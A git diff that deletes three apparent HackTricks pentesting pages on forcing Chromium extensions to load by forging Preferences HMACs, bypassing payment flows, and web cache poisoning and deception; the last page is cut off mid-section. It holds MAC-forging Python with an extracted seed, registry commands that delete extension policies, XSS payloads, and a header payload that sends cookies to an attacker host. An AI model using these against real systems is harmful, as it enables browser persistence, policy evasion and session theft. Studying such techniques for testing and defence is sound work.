diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
deleted file mode 100644
index 931a9cc7280..00000000000
--- a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md
+++ /dev/null
@@ -1,226 +0,0 @@
-# Forced Extension Load & Preferences MAC Forgery (Windows)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Overview
-
-Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts.
-
-> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
-
-
-## Where extension state lives (Windows)
-
-- Non–domain‑joined Chrome profile:
-  - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
-- Domain‑joined Chrome profile:
-  - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
-- Key nodes used by Chromium:
-  - extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
-  - protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
-  - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
-
-Simplified schema (illustrative):
-
-```json
-{
-  "extensions": {
-    "settings": {
-      "<extension_id>": {
-        "name": "Extension name",
-        "manifest_version": 3,
-        "version": "1.0",
-        "key": "<BASE64 DER SPKI>",
-        "path": "<absolute path if unpacked>",
-        "state": 1,
-        "from_bookmark": false,
-        "was_installed_by_default": false
-        // ...rest of manifest.json + required install metadata
-      }
-    },
-    "ui": { "developer_mode": true }
-  },
-  "protection": {
-    "macs": {
-      "extensions": {
-        "settings": { "<extension_id>": "<MAC>" },
-        "ui": { "developer_mode": "<MAC>" }
-      }
-    }
-  }
-}
-```
-
-Notes:
-- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds).
-
-
-## Extension IDs: path vs key and making them deterministic
-
-Chromium derives the extension ID as follows:
-- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
-- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
-
-To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path.
-
-Helper to generate a deterministic ID and a key pair:
-
-```python
-import base64
-import hashlib
-from cryptography.hazmat.primitives import serialization
-from cryptography.hazmat.primitives.asymmetric import rsa
-
-def translate_crx_id(s: str) -> str:
-    t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
-    return ''.join(t.get(c, c) for c in s)
-
-def generate_extension_keys() -> tuple[str,str,str]:
-    priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
-    pub = priv.public_key()
-    spki = pub.public_bytes(encoding=serialization.Encoding.DER,
-                            format=serialization.PublicFormat.SubjectPublicKeyInfo)
-    crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
-    pub_b64 = base64.b64encode(spki).decode('utf-8')
-    priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
-                                  format=serialization.PrivateFormat.TraditionalOpenSSL,
-                                  encryption_algorithm=serialization.NoEncryption())
-    priv_b64 = base64.b64encode(priv_der).decode('utf-8')
-    return crx_id, pub_b64, priv_b64
-
-print(generate_extension_keys())
-```
-
-Add the generated public key into your manifest.json to lock the ID:
-
-```json
-{
-  "manifest_version": 3,
-  "name": "Synacktiv extension",
-  "version": "1.0",
-  "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
-}
-```
-
-
-## Forging Preferences integrity MACs (core bypass)
-
-Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139.
-
-Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds):
-
-```bash
-python3 pak_util.py extract resources.pak -o resources_v139/
-python3 pak_util.py extract resources.pak -o resources_v139_dirty/
-# compare a clean vs minimally modified resources.pak to spot the seed holder
-xxd -p resources_v139/146
-# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
-```
-
-Compute MACs (uppercase hex) as:
-
-```text
-ext_mac = HMAC_SHA256(seed,
-  "extensions.settings.<crx_id>" + json.dumps(<settings_json>))
-
-devmode_mac = HMAC_SHA256(seed,
-  "extensions.ui.developer_mode" + ("true" or "false"))
-```
-
-Minimal Python example:
-
-```python
-import json, hmac, hashlib
-
-def mac_upper(seed_hex: str, pref_path: str, value) -> str:
-    seed = bytes.fromhex(seed_hex)
-    # Compact JSON to match Chromium serialization closely
-    val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
-    msg = (pref_path + val).encode('utf-8')
-    return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
-
-# Example usage
-settings_path = f"extensions.settings.{crx_id}"
-devmode_path = "extensions.ui.developer_mode"
-ext_mac = mac_upper(seed_hex, settings_path, settings_json)
-devmode_mac = mac_upper(seed_hex, devmode_path, "true")
-```
-
-Write the values under:
-- protection.macs.extensions.settings.<crx_id> = ext_mac
-- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
-
-Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
-
-> Implementation tips
-> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
-> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.
-
-
-## End‑to‑end silent load flow (Windows)
-
-1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
-2) Create extensions.settings.<id> by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
-3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
-4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
-
-
-## Bypassing enterprise controls
-
-- Whitelisted extension hash spoofing (ID spoofing)
-  1) Install an allowed Web Store extension and note its ID
-  2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
-  3) Set that key as manifest.key in your modified extension to reproduce the same ID
-  4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
-
-- Extension stomping (ID collision precedence)
-  - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
-
-- Neutralizing GPO via HKCU (requires admin)
-  - Chrome/Edge policies live under HKCU\Software\Policies\*
-  - With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
-
-```powershell
-reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
-reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
-```
-
-
-## Noisy fallback: command-line loading
-
-From Chromium ≥137, --load-extension requires also passing:
-
-```text
---disable-features=DisableLoadExtensionCommandLineSwitch
-```
-
-This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier.
-
-Related flags and more cross‑platform tricks are discussed here:
-
-{{#ref}}
-../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
-{{#endref}}
-
-
-## Operational impact
-
-Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences.
-
-
-## Detection and hardening
-
-- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries
-- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries
-- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management
-- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID
-
-
-## References
-
-- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
-- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
-- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
-- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/bypass-payment-process.md b/src/pentesting-web/bypass-payment-process.md
deleted file mode 100644
index 024105736a6..00000000000
--- a/src/pentesting-web/bypass-payment-process.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# Bypass Payment Process
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Payment Bypass Techniques
-
-### Request Interception
-
-During the transaction process, it is crucial to monitor the data being exchanged between the client and the server. This can be done by intercepting all requests. Within these requests, look out for parameters with significant implications, such as:
-
-- **Success**: This parameter often indicates the status of the transaction.
-- **Referrer**: It might point to the source from where the request originated.
-- **Callback**: This is typically used for redirecting the user after a transaction is completed.
-
-### URL Analysis
-
-If you encounter a parameter that contains a URL, especially one following the pattern _example.com/payment/MD5HASH_, it requires closer examination. Here's a step-by-step approach:
-
-1. **Copy the URL**: Extract the URL from the parameter value.
-2. **New Window Inspection**: Open the copied URL in a new browser window. This action is critical for understanding the transaction's outcome.
-
-### Parameter Manipulation
-
-1. **Change Parameter Values**: Experiment by altering the values of parameters like _Success_, _Referrer_, or _Callback_. For instance, changing a parameter from `false` to `true` can sometimes reveal how the system handles these inputs.
-2. **Remove Parameters**: Try removing certain parameters altogether to see how the system reacts. Some systems might have fallbacks or default behaviors when expected parameters are missing.
-
-### Cookie Tampering
-
-1. **Examine Cookies**: Many websites store crucial information in cookies. Inspect these cookies for any data related to payment status or user authentication.
-2. **Modify Cookie Values**: Alter the values stored in the cookies and observe how the website's response or behavior changes.
-
-### Session Hijacking
-
-1. **Session Tokens**: If session tokens are used in the payment process, try capturing and manipulating them. This might give insights into session management vulnerabilities.
-
-### Response Tampering
-
-1. **Intercept Responses**: Use tools to intercept and analyze the responses from the server. Look for any data that might indicate a successful transaction or reveal the next steps in the payment process.
-2. **Modify Responses**: Attempt to modify the responses before they are processed by the browser or the application to simulate a successful transaction scenario.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
deleted file mode 100644
index 56ca0dd3224..00000000000
--- a/src/pentesting-web/cache-deception/README.md
+++ /dev/null
@@ -1,540 +0,0 @@
-# Cache Poisoning and Cache Deception
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## The difference
-
-> **What is the difference between web cache poisoning and web cache deception?**
->
-> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
-> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
-
-## Cache Poisoning
-
-Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.
-
-The execution of a cache poisoning assault involves several steps:
-
-1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
-2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
-3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
-
-### Discovery: Check HTTP headers
-
-Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
-
-### Discovery: Caching error codes
-
-If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).
-
-You can find more options in:
-
-
-{{#ref}}
-cache-poisoning-to-dos.md
-{{#endref}}
-
-However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable.
-
-### Discovery: Identify and evaluate unkeyed inputs
-
-You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
-
-```html
-<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
-```
-
-### Elicit a harmful response from the back-end server
-
-With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
-
-### Get the response cached
-
-Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
-
-The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
-The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
-
-Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
-
-One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
-
-When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
-
-### Foundational cache poisoning case studies
-
-#### HackerOne global redirect via `X-Forwarded-Host`
-
-- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
-- Poison with:
-
-```http
-GET / HTTP/1.1
-Host: hackerone.com
-X-Forwarded-Host: evil.com
-```
-
-- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
-
-#### GitHub repository DoS via `Content-Type` + `PURGE`
-
-- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
-- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
-
-```bash
-curl -H "Content-Type: invalid-value" https://github.com/user/repo
-curl -X PURGE https://github.com/user/repo
-```
-
-- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.
-
-#### Shopify cross-host persistence loops
-
-- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
-- Use short automation loops to repeatedly reseed:
-
-```python
-import requests, time
-for i in range(100):
-    requests.get("https://shop.shopify.com/endpoint",
-                 headers={"X-Forwarded-Host": "attacker.com"})
-    time.sleep(0.1)
-print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
-```
-
-- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.
-
-#### JS asset redirect → stored XSS chain
-
-- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
-
-```http
-GET /assets/main.js HTTP/1.1
-Host: target.com
-X-Forwarded-Host: attacker.com
-```
-
-- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.
-
-#### GitLab static DoS via `X-HTTP-Method-Override`
-
-- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
-
-```http
-GET /static/app.js HTTP/1.1
-Host: gitlab.com
-X-HTTP-Method-Override: HEAD
-```
-
-- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.
-
-#### HackerOne static asset loop via `X-Forwarded-Scheme`
-
-- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:
-
-```http
-GET /static/logo.png HTTP/1.1
-Host: hackerone.com
-X-Forwarded-Scheme: http
-```
-
-- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.
-
-#### Cloudflare host-header casing mismatch
-
-- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
-
-```http
-GET / HTTP/1.1
-Host: TaRgEt.CoM
-```
-
-- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.
-
-#### Red Hat Open Graph meta poisoning
-
-- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
-
-```http
-GET /en?dontpoisoneveryone=1 HTTP/1.1
-Host: www.redhat.com
-X-Forwarded-Host: a."?><script>alert(1)</script>
-```
-
-- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.
-
-## Exploiting Examples
-
-### Easiest example
-
-A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
-You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
-
-```html
-GET /en?region=uk HTTP/1.1
-Host: innocent-website.com
-X-Forwarded-Host: a."><script>alert(1)</script>"
-```
-
-_Note that this will poison a request to `/en?region=uk` not to `/en`_
-
-### Cache poisoning to DoS
-
-
-{{#ref}}
-cache-poisoning-to-dos.md
-{{#endref}}
-
-### Cache poisoning through CDNs
-
-In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
-
-- The CDN will cache anything under `/share/`
-- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.
-
-### Using web cache poisoning to exploit cookie-handling vulnerabilities
-
-Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
-
-```html
-GET / HTTP/1.1
-Host: vulnerable.com
-Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
-```
-
-Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
-
-### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
-
-Check:
-
-
-{{#ref}}
-cache-poisoning-via-url-discrepancies.md
-{{#endref}}
-
-### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
-
-[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
-
-This is also explained better in:
-
-
-{{#ref}}
-cache-poisoning-via-url-discrepancies.md
-{{#endref}}
-
-### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
-
-Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.
-
-```html
-GET /resources/js/tracking.js HTTP/1.1
-Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
-X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
-X-Forwarded-Scheme: http
-```
-
-### Exploiting with limited `Vary`header
-
-If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
-
-```html
-GET / HTTP/1.1
-Host: vulnerbale.net
-User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
-X-Host: attacker.com
-```
-
-### Fat Get
-
-Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:
-
-```
-GET /contact/report-abuse?report=albinowax HTTP/1.1
-Host: github.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 22
-
-report=innocent-victim
-```
-
-There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-
-### Parameter Cloacking
-
-For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
-
-Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
-
-### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
-
-Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
-
-### Automated testing for Web Cache Poisoning
-
-The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
-
-Example usage: `wcvs -u example.com`
-
-### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
-
-This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:
-
-- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
-- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
-- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
-
-Practical recipe (observed across a popular CDN/WAF):
-
-1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.
-2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
-   - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
-   - Immediately after: GET the main page (`/`).
-3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
-
-Example header payload (to exfiltrate non-HttpOnly cookies):
-
-```http
-User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
-```
-
-Operational tips:
-
-- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
-- Using an IP from the CDN's own cloud sometimes improves routing consistency.
-- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
-
-Impact:
-
-- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
-
-
-### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
-
-A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
-
-```http
-POST /-/xaml/Sitecore.Shell.Xaml.WebControl
-Content-Type: application/x-www-form-urlencoded
-
-__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
-```
-
-This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
-
-For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
-
-{{#ref}}
-../../network-services-pentesting/pentesting-web/sitecore/README.md
-{{#endref}}
-
-## Vulnerable Examples
-
-### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-
-ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
-
-### 403 and Storage Buckets
-
-Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
-
-### Injecting Keyed Parameters
-
-Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.
-
-### User Agent Rules
-
-Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
-
-### Illegal Header Fields
-
-The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
-
-### Finding new headers
-
-[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
-
-## Cache Deception
-
-The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
-
-First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
-
-Other things to test:
-
-- _www.example.com/profile.php/.js_
-- _www.example.com/profile.php/.css_
-- _www.example.com/profile.php/test.js_
-- _www.example.com/profile.php/../test.js_
-- _www.example.com/profile.php/%2e%2e/test.js_
-- _Use lesser known extensions such as_ `.avif`
-
-Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
-Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
-
-Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
-
-Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
-
-### CSPT-assisted authenticated cache poisoning (Account Takeover)
-
